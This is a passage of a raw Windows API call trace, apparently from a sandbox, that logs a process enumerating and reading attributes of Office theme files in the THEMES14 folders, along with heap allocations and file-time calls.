ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5093, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0056.503] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5093, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0056.503] GetLastError () returned 0x12 [0056.503] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f47e8) returned 1 [0056.503] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0056.503] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f48f0) returned 1 [0056.503] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0056.503] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM", cAlternateFileName="")) returned 1 [0056.503] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0056.503] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0056.503] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0056.503] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0056.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9f5d10 [0056.504] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9f5d10, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9f5d10, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0056.504] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f5d10) returned 1 [0056.504] NtClose (Handle=0x160) returned 0x0 [0056.504] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0056.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0056.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0056.504] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f48f0 [0056.504] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0056.504] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.504] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6c2ae00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5f775610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6c2ae00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xc2ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM.ELM", cAlternateFileName="")) returned 1 [0056.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.504] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.504] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f47e8 [0056.504] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0056.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eb010 [0056.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f4e18 [0056.504] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.504] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x227, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM.INF", cAlternateFileName="")) returned 1 [0056.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.505] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.505] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eb030 [0056.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f4f20 [0056.505] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.505] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6d2cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x618, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0056.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.505] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.505] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eb050 [0056.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f5028 [0056.505] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.505] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x80f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0056.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.505] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.505] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eb070 [0056.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f5130 [0056.505] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.505] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x80f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0056.505] GetLastError () returned 0x12 [0056.506] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0056.506] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0056.506] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.506] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6c2ae00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5f775610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6c2ae00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xc2ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM.ELM", cAlternateFileName="")) returned 1 [0056.506] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x227, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM.INF", cAlternateFileName="")) returned 1 [0056.506] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6d2cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x618, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0056.506] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x80f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0056.506] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x80f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0056.506] GetLastError () returned 0x12 [0056.506] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f48f0) returned 1 [0056.506] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0056.506] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f47e8) returned 1 [0056.506] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0056.506] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT", cAlternateFileName="")) returned 1 [0056.506] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0056.506] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0056.522] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0056.522] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0056.522] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9f5d10 [0056.523] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9f5d10, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9f5d10, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0056.523] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f5d10) returned 1 [0056.523] NtClose (Handle=0x16c) returned 0x0 [0056.523] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0056.523] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.523] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0056.523] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0056.523] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.523] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f47e8 [0056.523] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0056.523] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.523] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7f3db00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7f3db00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xda86, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT.ELM", cAlternateFileName="")) returned 1 [0056.523] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.523] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.523] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.523] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.523] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.523] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f48f0 [0056.523] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0056.523] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eb090 [0056.523] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f5238 [0056.524] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.524] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5fbc5df0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT.INF", cAlternateFileName="")) returned 1 [0056.524] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.524] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.524] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.524] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.524] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.524] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eb0b0 [0056.524] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f5340 [0056.524] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.524] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x785, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0056.524] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.524] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.524] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.524] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.524] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.524] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eb0d0 [0056.524] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f5448 [0056.524] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.524] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0056.524] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.524] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.524] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.524] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.524] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.524] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eb0f0 [0056.524] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f5d28 [0056.525] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.525] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0056.525] GetLastError () returned 0x12 [0056.525] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0056.525] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0056.525] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.525] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7f3db00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, 